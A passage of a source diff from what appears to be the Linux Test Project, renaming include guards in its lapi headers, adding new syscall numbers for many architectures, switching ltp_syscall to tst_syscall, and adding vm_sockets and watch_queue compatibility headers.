+#ifndef SHMMAX
+# define SHMMAX (ULONG_MAX - (1UL << 24))
+#endif
+
+#ifndef SHMMNI
+# define SHMMNI 4096
+#endif
+
 #endif /* LAPI_SHM_H__ */
diff --git a/include/lapi/shmbuf.h b/include/lapi/shmbuf.h
index 3857557..248ddcc 100644
--- a/include/lapi/shmbuf.h
+++ b/include/lapi/shmbuf.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef IPC_SHMBUF_H
-#define IPC_SHMBUF_H
+#ifndef LAPI_SHMBUF_H__
+#define LAPI_SHMBUF_H__
 
 #include "lapi/posix_types.h"
 #include <sys/sem.h>
@@ -270,4 +270,4 @@
 
 #endif /* HAVE_SHMID64_DS */
 
-#endif /* IPC_SHMBUF_H */
+#endif /* LAPI_SHMBUF_H__ */
diff --git a/include/lapi/signal.h b/include/lapi/signal.h
index d22965a..6f4a768 100644
--- a/include/lapi/signal.h
+++ b/include/lapi/signal.h
@@ -4,8 +4,8 @@
  * Author: Daniel Díaz <daniel.diaz@linaro.org>
  */
 
-#ifndef LAPI_SIGNAL_H
-#define LAPI_SIGNAL_H
+#ifndef LAPI_SIGNAL_H__
+#define LAPI_SIGNAL_H__
 
 #include <signal.h>
 
@@ -21,4 +21,4 @@
 # define __SIGRTMAX (_NSIG - 1)
 #endif
 
-#endif
+#endif /* LAPI_SIGNAL_H__ */
diff --git a/include/lapi/socket.h b/include/lapi/socket.h
index d6389e5..794dee4 100644
--- a/include/lapi/socket.h
+++ b/include/lapi/socket.h
@@ -4,8 +4,8 @@
 * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
 */
 
-#ifndef __LAPI_SOCKET_H__
-#define __LAPI_SOCKET_H__
+#ifndef LAPI_SOCKET_H__
+#define LAPI_SOCKET_H__
 
 #include "config.h"
 #include <sys/socket.h>
@@ -69,4 +69,4 @@
 };
 #endif
 
-#endif /* __LAPI_SOCKET_H__ */
+#endif /* LAPI_SOCKET_H__ */
diff --git a/include/lapi/splice.h b/include/lapi/splice.h
index 76ac708..191b22d 100644
--- a/include/lapi/splice.h
+++ b/include/lapi/splice.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Fujitsu Ltd.
  */
 
-#ifndef SPLICE_H
-#define SPLICE_H
+#ifndef LAPI_SPLICE_H__
+#define LAPI_SPLICE_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -19,4 +19,4 @@
 }
 #endif
 
-#endif /* SPLICE_H */
+#endif /* LAPI_SPLICE_H__ */
diff --git a/include/lapi/stat.h b/include/lapi/stat.h
index 979e42d..ce1f2b6 100644
--- a/include/lapi/stat.h
+++ b/include/lapi/stat.h
@@ -4,8 +4,9 @@
  * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
  * Email: code@zilogic.com
  */
-#ifndef LAPI_STAT_H
-#define LAPI_STAT_H
+
+#ifndef LAPI_STAT_H__
+#define LAPI_STAT_H__
 
 #include <stdint.h>
 #include <unistd.h>
@@ -175,6 +176,10 @@
 # define STATX_BTIME		0x00000800U
 #endif
 
+#ifndef STATX_MNT_ID
+# define STATX_MNT_ID		0x00001000U
+#endif
+
 #ifndef STATX_ALL
 # define STATX_ALL		0x00000fffU
 #endif
@@ -218,6 +223,10 @@
 # define STATX_ATTR_AUTOMOUNT	0x00001000
 #endif
 
+#ifndef STATX_ATTR_VERITY
+# define STATX_ATTR_VERITY	0x00100000
+#endif
+
 #ifndef AT_SYMLINK_NOFOLLOW
 # define AT_SYMLINK_NOFOLLOW	0x100
 #endif
@@ -254,4 +263,4 @@
 # define AT_STATX_DONT_SYNC	0x4000
 #endif
 
-#endif
+#endif /* LAPI_STAT_H__ */
diff --git a/include/lapi/sync_file_range.h b/include/lapi/sync_file_range.h
index 86bfe5d..b1d2b28 100644
--- a/include/lapi/sync_file_range.h
+++ b/include/lapi/sync_file_range.h
@@ -3,8 +3,8 @@
  * Copyright (c) International Business Machines  Corp., 2008
  */
 
-#ifndef SYNC_FILE_RANGE_H
-#define SYNC_FILE_RANGE_H
+#ifndef LAPI_SYNC_FILE_RANGE_H__
+#define LAPI_SYNC_FILE_RANGE_H__
 
 #include <sys/types.h>
 #include "config.h"
@@ -13,12 +13,6 @@
 
 #if !defined(HAVE_SYNC_FILE_RANGE)
 
-#ifdef TST_TEST_H__
-# define TST_SYSCALL tst_syscall
-#else
-# define TST_SYSCALL ltp_syscall
-#endif
-
 /*****************************************************************************
  * Wraper function to call sync_file_range system call
  ******************************************************************************/
@@ -28,31 +22,31 @@
 #if (defined(__arm__) || defined(__powerpc__) || defined(__powerpc64__))
 # ifdef TST_ABI32
 #  if __BYTE_ORDER == __BIG_ENDIAN
-	return TST_SYSCALL(__NR_sync_file_range2, fd, flags,
+	return tst_syscall(__NR_sync_file_range2, fd, flags,
 		(int)(offset >> 32), (int)offset, (int)(nbytes >> 32),
 		(int)nbytes);
 #  elif __BYTE_ORDER == __LITTLE_ENDIAN
-	return TST_SYSCALL(__NR_sync_file_range2, fd, flags, (int)offset,
+	return tst_syscall(__NR_sync_file_range2, fd, flags, (int)offset,
 		       (int)(offset >> 32), nbytes, (int)(nbytes >> 32));
 #  endif
 # else
-	return TST_SYSCALL(__NR_sync_file_range2, fd, flags, offset, nbytes);
+	return tst_syscall(__NR_sync_file_range2, fd, flags, offset, nbytes);
 # endif
 #elif (defined(__s390__) || defined(__s390x__)) && defined(TST_ABI32)
-	return TST_SYSCALL(__NR_sync_file_range, fd, (int)(offset >> 32),
+	return tst_syscall(__NR_sync_file_range, fd, (int)(offset >> 32),
 		(int)offset, (int)(nbytes >> 32), (int)nbytes, flags);
 #elif defined(__mips__) && defined(TST_ABI32)
 # if __BYTE_ORDER == __BIG_ENDIAN
-	return TST_SYSCALL(__NR_sync_file_range, fd, 0, (int)(offset >> 32),
+	return tst_syscall(__NR_sync_file_range, fd, 0, (int)(offset >> 32),
 		(int)offset, (int)(nbytes >> 32), (int)nbytes, flags);
 # elif __BYTE_ORDER == __LITTLE_ENDIAN
-	return TST_SYSCALL(__NR_sync_file_range, fd, 0, (int)offset,
+	return tst_syscall(__NR_sync_file_range, fd, 0, (int)offset,
 		(int)(offset >> 32), (int)nbytes, (int)(nbytes >> 32), flags);
 # endif
 #else
-	return TST_SYSCALL(__NR_sync_file_range, fd, offset, nbytes, flags);
+	return tst_syscall(__NR_sync_file_range, fd, offset, nbytes, flags);
 #endif
 }
 #endif
 
-#endif /* SYNC_FILE_RANGE_H */
+#endif /* LAPI_SYNC_FILE_RANGE_H__ */
diff --git a/include/lapi/syncfs.h b/include/lapi/syncfs.h
index d3c0c8a..5624832 100644
--- a/include/lapi/syncfs.h
+++ b/include/lapi/syncfs.h
@@ -4,8 +4,8 @@
  * Author: Sumit Garg <sumit.garg@linaro.org>
  */
 
-#ifndef SYNCFS_H
-#define SYNCFS_H
+#ifndef LAPI_SYNCFS_H__
+#define LAPI_SYNCFS_H__
 
 #include "config.h"
 #include <sys/types.h>
@@ -18,4 +18,4 @@
 }
 #endif
 
-#endif /* SYNCFS_H */
+#endif /* LAPI_SYNCFS_H__ */
diff --git a/include/lapi/syscalls/aarch64.in b/include/lapi/syscalls/aarch64.in
index 2def6ba..de4ed5f 100644
--- a/include/lapi/syscalls/aarch64.in
+++ b/include/lapi/syscalls/aarch64.in
@@ -278,26 +278,6 @@
 io_pgetevents 292
 rseq 293
 kexec_file_load 294
-clock_gettime64 403
-clock_settime64 404
-clock_adjtime64 405
-clock_getres_time64 406
-clock_nanosleep_time64 407
-timer_gettime64 408
-timer_settime64 409
-timerfd_gettime64 410
-timerfd_settime64 411
-utimensat_time64 412
-pselect6_time64 413
-ppoll_time64 414
-io_pgetevents_time64 416
-recvmmsg_time64 417
-mq_timedsend_time64 418
-mq_timedreceive_time64 419
-semtimedop_time64 420
-rt_sigtimedwait_time64 421
-futex_time64 422
-sched_rr_get_interval_time64 423
 pidfd_send_signal 424
 io_uring_setup 425
 io_uring_enter 426
@@ -313,4 +293,7 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
 _sysctl 1078
diff --git a/include/lapi/syscalls/arc.in b/include/lapi/syscalls/arc.in
index 9bcd847..9f11381 100644
--- a/include/lapi/syscalls/arc.in
+++ b/include/lapi/syscalls/arc.in
@@ -313,3 +313,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/arm.in b/include/lapi/syscalls/arm.in
index 98c840c..4b0f63a 100644
--- a/include/lapi/syscalls/arm.in
+++ b/include/lapi/syscalls/arm.in
@@ -391,3 +391,6 @@
 close_range (__NR_SYSCALL_BASE+436)
 openat2 (__NR_SYSCALL_BASE+437)
 pidfd_getfd (__NR_SYSCALL_BASE+438)
+epoll_pwait2 (__NR_SYSCALL_BASE+441)
+quotactl_fd (__NR_SYSCALL_BASE+443)
+futex_waitv (__NR_SYSCALL_BASE+449)
diff --git a/include/lapi/syscalls/hppa.in b/include/lapi/syscalls/hppa.in
index e1628c4..b6d32d3 100644
--- a/include/lapi/syscalls/hppa.in
+++ b/include/lapi/syscalls/hppa.in
@@ -39,4 +39,7 @@
 fsmount 432
 fspick 433
 pidfd_open 434
-close_range 436
\ No newline at end of file
+close_range 436
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/i386.in b/include/lapi/syscalls/i386.in
index aaa02c7..d0e6e9a 100644
--- a/include/lapi/syscalls/i386.in
+++ b/include/lapi/syscalls/i386.in
@@ -427,3 +427,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/ia64.in b/include/lapi/syscalls/ia64.in
index 5467f80..1232006 100644
--- a/include/lapi/syscalls/ia64.in
+++ b/include/lapi/syscalls/ia64.in
@@ -340,3 +340,6 @@
 close_range 1460
 openat2 1461
 pidfd_getfd 1462
+epoll_pwait2 1465
+quotactl_fd 1467
+futex_waitv 1473
diff --git a/include/lapi/syscalls/mips_n32.in b/include/lapi/syscalls/mips_n32.in
index dad8107..e818c9d 100644
--- a/include/lapi/syscalls/mips_n32.in
+++ b/include/lapi/syscalls/mips_n32.in
@@ -369,3 +369,5 @@
 process_madvise 6440
 epoll_pwait2 6441
 mount_setattr 6442
+quotactl_fd 6443
+futex_waitv 6449
diff --git a/include/lapi/syscalls/mips_n64.in b/include/lapi/syscalls/mips_n64.in
index a6c0c8c..6e15f43 100644
--- a/include/lapi/syscalls/mips_n64.in
+++ b/include/lapi/syscalls/mips_n64.in
@@ -345,3 +345,5 @@
 process_madvise 5440
 epoll_pwait2 5441
 mount_setattr 5442
+quotactl_fd 5443
+futex_waitv 5449
diff --git a/include/lapi/syscalls/mips_o32.in b/include/lapi/syscalls/mips_o32.in
index 238f770..921d5d3 100644
--- a/include/lapi/syscalls/mips_o32.in
+++ b/include/lapi/syscalls/mips_o32.in
@@ -415,3 +415,5 @@
 process_madvise 4440
 epoll_pwait2 4441
 mount_setattr 4442
+quotactl_fd 4443
+futex_waitv 4449
diff --git a/include/lapi/syscalls/powerpc.in b/include/lapi/syscalls/powerpc.in
index 2d287a6..d5de621 100644
--- a/include/lapi/syscalls/powerpc.in
+++ b/include/lapi/syscalls/powerpc.in
@@ -420,3 +420,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/powerpc64.in b/include/lapi/syscalls/powerpc64.in
index 2d287a6..d5de621 100644
--- a/include/lapi/syscalls/powerpc64.in
+++ b/include/lapi/syscalls/powerpc64.in
@@ -420,3 +420,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/regen.sh b/include/lapi/syscalls/regen.sh
index b6fb0f8..743c601 100755
--- a/include/lapi/syscalls/regen.sh
+++ b/include/lapi/syscalls/regen.sh
@@ -37,29 +37,25 @@
  * Licensed under the GPLv2 or later, see the COPYING file.
  */
 
-#ifndef __LAPI_SYSCALLS_H__
-#define __LAPI_SYSCALLS_H__
+#ifndef LAPI_SYSCALLS_H__
+#define LAPI_SYSCALLS_H__
 
 #include <errno.h>
 #include <sys/syscall.h>
 #include <asm/unistd.h>
 #include "cleanup.c"
 
-#define ltp_syscall(NR, ...) ({ \\
-	int __ret; \\
-	if (NR == __LTP__NR_INVALID_SYSCALL) { \\
-		errno = ENOSYS; \\
-		__ret = -1; \\
-	} else { \\
-		__ret = syscall(NR, ##__VA_ARGS__); \\
-	} \\
-	if (__ret == -1 && errno == ENOSYS) { \\
-		tst_brkm(TCONF, CLEANUP, \\
-			"syscall(%d) " #NR " not supported on your arch", \\
-			NR); \\
-	} \\
-	__ret; \\
+#ifdef TST_TEST_H__
+#define TST_SYSCALL_BRK__(NR, SNR) ({ \\
+	tst_brk(TCONF, \\
+		"syscall(%d) " SNR " not supported on your arch", NR); \\
 })
+#else
+#define TST_SYSCALL_BRK__(NR, SNR) ({ \\
+	tst_brkm(TCONF, CLEANUP, \\
+		"syscall(%d) " SNR " not supported on your arch", NR); \\
+})
+#endif
 
 #define tst_syscall(NR, ...) ({ \\
 	int tst_ret; \\
@@ -70,7 +66,7 @@
 		tst_ret = syscall(NR, ##__VA_ARGS__); \\
 	} \\
 	if (tst_ret == -1 && errno == ENOSYS) { \\
-		tst_brk(TCONF, "syscall(%d) " #NR " not supported", NR); \\
+		TST_SYSCALL_BRK__(NR, #NR); \\
 	} \\
 	tst_ret; \\
 })
@@ -90,7 +86,7 @@
 		s390) echo "#if defined(__s390__) && !defined(__s390x__)" ;;
 		mips_n32) echo "#if defined(__mips__) && defined(_ABIN32)" ;;
 		mips_n64) echo "#if defined(__mips__) && defined(_ABI64)" ;;
-		mips_o32) echo "#if defined(__mips__) && defined(_ABIO32)" ;;
+		mips_o32) echo "#if defined(__mips__) && defined(_ABIO32) && _MIPS_SZLONG == 32" ;;
 		*) echo "#ifdef __${arch}__" ;;
 	esac
 	while read line ; do
diff --git a/include/lapi/syscalls/s390.in b/include/lapi/syscalls/s390.in
index c978b66..6505f38 100644
--- a/include/lapi/syscalls/s390.in
+++ b/include/lapi/syscalls/s390.in
@@ -407,3 +407,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/s390x.in b/include/lapi/syscalls/s390x.in
index d123db6..bc5d2b3 100644
--- a/include/lapi/syscalls/s390x.in
+++ b/include/lapi/syscalls/s390x.in
@@ -355,3 +355,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/sh.in b/include/lapi/syscalls/sh.in
index 22da7d6..316ffe5 100644
--- a/include/lapi/syscalls/sh.in
+++ b/include/lapi/syscalls/sh.in
@@ -401,3 +401,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/sparc.in b/include/lapi/syscalls/sparc.in
index 7324b4a..e0c60a3 100644
--- a/include/lapi/syscalls/sparc.in
+++ b/include/lapi/syscalls/sparc.in
@@ -406,3 +406,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/sparc64.in b/include/lapi/syscalls/sparc64.in
index 862d806..0acde68 100644
--- a/include/lapi/syscalls/sparc64.in
+++ b/include/lapi/syscalls/sparc64.in
@@ -371,3 +371,6 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
diff --git a/include/lapi/syscalls/x86_64.in b/include/lapi/syscalls/x86_64.in
index 1345002..1863e1d 100644
--- a/include/lapi/syscalls/x86_64.in
+++ b/include/lapi/syscalls/x86_64.in
@@ -348,6 +348,9 @@
 close_range 436
 openat2 437
 pidfd_getfd 438
+epoll_pwait2 441
+quotactl_fd 443
+futex_waitv 449
 rt_sigaction 512
 rt_sigreturn 513
 ioctl 514
diff --git a/include/lapi/tee.h b/include/lapi/tee.h
index 237f4e1..8ba3c9b 100644
--- a/include/lapi/tee.h
+++ b/include/lapi/tee.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Fujitsu Ltd.
  */
 
-#ifndef TEE_H
-#define TEE_H
+#ifndef LAPI_TEE_H__
+#define LAPI_TEE_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -18,4 +18,4 @@
 }
 #endif
 
-#endif /* TEE_H */
+#endif /* LAPI_TEE_H__ */
diff --git a/include/lapi/termbits.h b/include/lapi/termbits.h
index d79da08..04f5148 100644
--- a/include/lapi/termbits.h
+++ b/include/lapi/termbits.h
@@ -10,4 +10,4 @@
 # define EXTPROC     0200000
 #endif
 
-#endif
+#endif /* LAPI_TERMBITS_H__ */
diff --git a/include/lapi/timerfd.h b/include/lapi/timerfd.h
index 91773ff..2613746 100644
--- a/include/lapi/timerfd.h
+++ b/include/lapi/timerfd.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Fujitsu Ltd.
  */
 
-#ifndef TIMERFD_H
-#define TIMERFD_H
+#ifndef LAPI_TIMERFD_H__
+#define LAPI_TIMERFD_H__
 
 #include <time.h>
 #include "config.h"
@@ -18,7 +18,7 @@
 #if !defined(HAVE_TIMERFD_CREATE)
 static inline int timerfd_create(int clockid, int flags)
 {
-	return ltp_syscall(__NR_timerfd_create, clockid, flags);
+	return tst_syscall(__NR_timerfd_create, clockid, flags);
 }
 #endif
 
@@ -27,7 +27,7 @@
                                   const struct itimerspec *new_value,
                                   struct itimerspec *old_value)
 {
-	return ltp_syscall(__NR_timerfd_settime, fd, flags, new_value,
+	return tst_syscall(__NR_timerfd_settime, fd, flags, new_value,
 			   old_value);
 }
 #endif
@@ -35,8 +35,8 @@
 #if !defined(HAVE_TIMERFD_SETTIME)
 static inline int timerfd_gettime(int fd, struct itimerspec *curr_value)
 {
-	return ltp_syscall(__NR_timerfd_gettime, fd, curr_value);
+	return tst_syscall(__NR_timerfd_gettime, fd, curr_value);
 }
 #endif
 
-#endif /* TIMERFD_H */
+#endif /* LAPI_TIMERFD_H__ */
diff --git a/include/lapi/tty.h b/include/lapi/tty.h
index 6122145..93a6254 100644
--- a/include/lapi/tty.h
+++ b/include/lapi/tty.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
  */
 
-#ifndef LAPI_TTY_H
-#define LAPI_TTY_H
+#ifndef LAPI_TTY_H__
+#define LAPI_TTY_H__
 
 #ifdef HAVE_LINUX_TTY_H
 # include <linux/tty.h>
@@ -18,4 +18,4 @@
 # define N_SLCAN		17	/* Serial / USB serial CAN Adaptors */
 #endif
 
-#endif /* LAPI_TTY_H */
+#endif /* LAPI_TTY_H__ */
diff --git a/include/lapi/ustat.h b/include/lapi/ustat.h
index 98633e7..218a53b 100644
--- a/include/lapi/ustat.h
+++ b/include/lapi/ustat.h
@@ -1,7 +1,7 @@
 //SPDX-License-Identifier: GPL-2.0-or-later
 
-#ifndef LAPI_USTAT_H
-#define LAPI_USTAT_H
+#ifndef LAPI_USTAT_H__
+#define LAPI_USTAT_H__
 
 #include "config.h"
 
@@ -19,4 +19,4 @@
 };
 #endif
 
-#endif /* LAPI_USTAT_H */
+#endif /* LAPI_USTAT_H__ */
diff --git a/include/lapi/utime.h b/include/lapi/utime.h
index dbfaa55..a8085ae 100644
--- a/include/lapi/utime.h
+++ b/include/lapi/utime.h
@@ -3,7 +3,8 @@
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
  */
 
-#ifndef __UTIME_H__
+#ifndef LAPI_UTIME_H__
+#define LAPI_UTIME_H__
 
 #ifndef UTIME_NOW
 # define UTIME_NOW ((1l << 30) - 1l)
@@ -13,4 +14,4 @@
 # define UTIME_OMIT ((1l << 30) - 2l)
 #endif
 
-#endif /* __UTIME_H__ */
+#endif /* LAPI_UTIME_H__ */
diff --git a/include/lapi/utsname.h b/include/lapi/utsname.h
index 6209eac..f94d3e1 100644
--- a/include/lapi/utsname.h
+++ b/include/lapi/utsname.h
@@ -3,6 +3,9 @@
  * Copyright (c) 2019 Petr Vorel <petr.vorel@gmail.com>
  */
 
+#ifndef LAPI_UTSNAME_H__
+#define LAPI_UTSNAME_H__
+
 #ifdef HAVE_SYS_UTSNAME_H
 # include <sys/utsname.h>
 #endif
@@ -14,3 +17,5 @@
 #ifndef _UTSNAME_DOMAIN_LENGTH
 # define _UTSNAME_DOMAIN_LENGTH _UTSNAME_LENGTH
 #endif
+
+#endif /* LAPI_UTSNAME_H__ */
diff --git a/include/lapi/vm_sockets.h b/include/lapi/vm_sockets.h
new file mode 100644
index 0000000..07884e5
--- /dev/null
+++ b/include/lapi/vm_sockets.h
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+#ifndef LAPI_VM_SOCKETS_H__
+#define LAPI_VM_SOCKETS_H__
+
+#include <sys/socket.h>
+
+#if HAVE_LINUX_VM_SOCKETS_H
+#  include <linux/vm_sockets.h>
+#endif
+
+#ifndef VMADDR_CID_LOCAL
+#  define VMADDR_CID_LOCAL 1
+#endif
+
+#endif /* LAPI_VM_SOCKETS_H__ */
diff --git a/include/lapi/vmsplice.h b/include/lapi/vmsplice.h
index 96b32f3..b6db77c 100644
--- a/include/lapi/vmsplice.h
+++ b/include/lapi/vmsplice.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef VMSPLICE_H
-#define VMSPLICE_H
+#ifndef LAPI_VMSPLICE_H__
+#define LAPI_VMSPLICE_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -20,4 +20,4 @@
 }
 #endif
 
-#endif /* VMSPLICE_H */
+#endif /* LAPI_VMSPLICE_H__ */
diff --git a/include/lapi/watch_queue.h b/include/lapi/watch_queue.h
new file mode 100644
index 0000000..438e622
--- /dev/null
+++ b/include/lapi/watch_queue.h
@@ -0,0 +1,112 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ *
+ * This file is created to resolve conflicts between user space and kernel
+ * space fctnl.h declaration. linux/watch_queue.h is not handled, since
+ * user space fcntl.h redefines kernel space structures.
+ */
+
+#ifndef LAPI_WATCH_QUEUE_H__
+#define LAPI_WATCH_QUEUE_H__
+
+#include <stdint.h>
+#include "lapi/ioctl.h"
+#include "lapi/fcntl.h"
+
+#define O_NOTIFICATION_PIPE	O_EXCL	/* Parameter to pipe2() selecting notification pipe */
+
+#define IOC_WATCH_QUEUE_SET_SIZE	_IO('W', 0x60)	/* Set the size in pages */
+#define IOC_WATCH_QUEUE_SET_FILTER	_IO('W', 0x61)	/* Set the filter */
+
+enum watch_notification_type {
+	WATCH_TYPE_META		= 0,	/* Special record */
+	WATCH_TYPE_KEY_NOTIFY	= 1,	/* Key change event notification */
+	WATCH_TYPE__NR		= 2
+};
+
+enum watch_meta_notification_subtype {
+	WATCH_META_REMOVAL_NOTIFICATION	= 0,	/* Watched object was removed */
+	WATCH_META_LOSS_NOTIFICATION	= 1,	/* Data loss occurred */
+};
+
+/*
+ * Notification record header.  This is aligned to 64-bits so that subclasses
+ * can contain __u64 fields.
+ */
+struct watch_notification {
+	uint32_t			type:24;	/* enum watch_notification_type */
+	uint32_t			subtype:8;	/* Type-specific subtype (filterable) */
+	uint32_t			info;
+#define WATCH_INFO_LENGTH	0x0000007f	/* Length of record */
+#define WATCH_INFO_LENGTH__SHIFT 0
+#define WATCH_INFO_ID		0x0000ff00	/* ID of watchpoint */
+#define WATCH_INFO_ID__SHIFT	8
+#define WATCH_INFO_TYPE_INFO	0xffff0000	/* Type-specific info */
+#define WATCH_INFO_TYPE_INFO__SHIFT 16
+#define WATCH_INFO_FLAG_0	0x00010000	/* Type-specific info, flag bit 0 */
+#define WATCH_INFO_FLAG_1	0x00020000	/* ... */
+#define WATCH_INFO_FLAG_2	0x00040000
+#define WATCH_INFO_FLAG_3	0x00080000
+#define WATCH_INFO_FLAG_4	0x00100000
+#define WATCH_INFO_FLAG_5	0x00200000
+#define WATCH_INFO_FLAG_6	0x00400000
+#define WATCH_INFO_FLAG_7	0x00800000
+};
+
+/*
+ * Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER).
+ */
+struct watch_notification_type_filter {
+	uint32_t	type;			/* Type to apply filter to */
+	uint32_t	info_filter;		/* Filter on watch_notification::info */
+	uint32_t	info_mask;		/* Mask of relevant bits in info_filter */
+	uint32_t	subtype_filter[8];	/* Bitmask of subtypes to filter on */
+};
+
+struct watch_notification_filter {
+	uint32_t	nr_filters;		/* Number of filters */
+	uint32_t	__reserved;		/* Must be 0 */
+	struct watch_notification_type_filter filters[];
+};
+
+
+/*
+ * Extended watch removal notification.  This is used optionally if the type
+ * wants to indicate an identifier for the object being watched, if there is
+ * such.  This can be distinguished by the length.
+ *
+ * type -> WATCH_TYPE_META
+ * subtype -> WATCH_META_REMOVAL_NOTIFICATION
+ */
+struct watch_notification_removal {
+	struct watch_notification watch;
+	uint64_t	id;		/* Type-dependent identifier */
+};
+
+/*
+ * Type of key/keyring change notification.
+ */
+enum key_notification_subtype {
+	NOTIFY_KEY_INSTANTIATED	= 0, /* Key was instantiated (aux is error code) */
+	NOTIFY_KEY_UPDATED	= 1, /* Key was updated */
+	NOTIFY_KEY_LINKED	= 2, /* Key (aux) was added to watched keyring */
+	NOTIFY_KEY_UNLINKED	= 3, /* Key (aux) was removed from watched keyring */
+	NOTIFY_KEY_CLEARED	= 4, /* Keyring was cleared */
+	NOTIFY_KEY_REVOKED	= 5, /* Key was revoked */
+	NOTIFY_KEY_INVALIDATED	= 6, /* Key was invalidated */
+	NOTIFY_KEY_SETATTR	= 7, /* Key's attributes got changed */
+};
+
+/*
+ * Key/keyring notification record.
+ * - watch.type = WATCH_TYPE_KEY_NOTIFY
+ * - watch.subtype = enum key_notification_type
+ */
+struct key_notification {
+	struct watch_notification watch;
+	uint32_t	key_id;		/* The key/keyring affected */
+	uint32_t	aux;		/* Per-type auxiliary data */
+};
+
+#endif /* LAPI_WATCH_QUEUE_H__ */
diff --git a/include/lapi/xfrm.h b/include/lapi/xfrm.h
index d905120..48503b7 100644
--- a/include/lapi/xfrm.h
+++ b/include/lapi/xfrm.h
@@ -14,4 +14,4 @@
 # define XFRM_MSG_GETPOLICY 21
 #endif
 
-#endif
+#endif /* LAPI_XFRM_H__ */
diff --git a/include/libnewipc.h b/include/libnewipc.h
index 075364f..1e126ca 100644
--- a/include/libnewipc.h
+++ b/include/libnewipc.h
@@ -31,7 +31,6 @@
 #define MSGSIZE	1024
 #define MSGTYPE	1
 #define NR_MSGQUEUES	16
-#define min(a, b)	(((a) < (b)) ? (a) : (b))
 
 #define SEM_RD	0400
 #define SEM_ALT	0200
@@ -49,14 +48,14 @@
 #define GETIPCKEY() \
 	getipckey(__FILE__, __LINE__)
 
-int get_used_queues(const char *file, const int lineno);
+int get_used_sysvipc(const char *file, const int lineno, const char *sysvipc_file);
 #define GET_USED_QUEUES() \
-	get_used_queues(__FILE__, __LINE__)
+	get_used_sysvipc(__FILE__, __LINE__, "/proc/sysvipc/msg")
+#define GET_USED_SEGMENTS() \
+	get_used_sysvipc(__FILE__, __LINE__, "/proc/sysvipc/shm")
 
 void *probe_free_addr(const char *file, const int lineno);
 #define PROBE_FREE_ADDR() \
 	probe_free_addr(__FILE__, __LINE__)
 
-time_t get_ipc_timestamp(void);
-
 #endif /* newlibipc.h */
diff --git a/include/mk/automake.mk b/include/mk/automake.mk
index 219d015..ee3b7f1 100644
--- a/include/mk/automake.mk
+++ b/include/mk/automake.mk
@@ -27,7 +27,8 @@
 AUTOMAKE	?= automake
 
 AUTOCONFED_SUBDIRS	= \
-			testcases/realtime
+			testcases/realtime \
+			testcases/open_posix_testsuite
 
 # We want to run this every single time to ensure that all of the prereq files
 # are there.
@@ -35,6 +36,10 @@
 testcases/realtime/configure:
 	$(MAKE) -C $(@D) autotools
 
+.PHONY: testcases/open_posix_testsuite/configure
+testcases/open_posix_testsuite/configure:
+	$(MAKE) -C $(@D) autotools
+
 .PHONY: autotools
 autotools: aclocal autoconf autoheader automake $(addsuffix /configure,$(AUTOCONFED_SUBDIRS))
 
diff --git a/include/mk/config.mk.in b/include/mk/config.mk.in
index 218447e..6748435 100644
--- a/include/mk/config.mk.in
+++ b/include/mk/config.mk.in
@@ -83,6 +83,8 @@
 LDFLAGS			+= $(WLDFLAGS)
 CFLAGS			+= $(DEBUG_CFLAGS) $(OPT_CFLAGS) $(WCFLAGS)
 
+LTP_CFLAGS_NOPIE	:= @LTP_CFLAGS_NOPIE@
+
 ifeq ($(strip $(HOST_CFLAGS)),)
 HOST_CFLAGS := $(CFLAGS)
 endif
diff --git a/include/mk/env_post.mk b/include/mk/env_post.mk
index 1d22f9c..a00f31b 100644
--- a/include/mk/env_post.mk
+++ b/include/mk/env_post.mk
@@ -32,6 +32,7 @@
 # poor software design if you need more than one search directory, and
 # would suggest creating a general purpose static library to that end.
 vpath %.c $(abs_srcdir)
+vpath %.S $(abs_srcdir)
 
 # For config.h, et all.
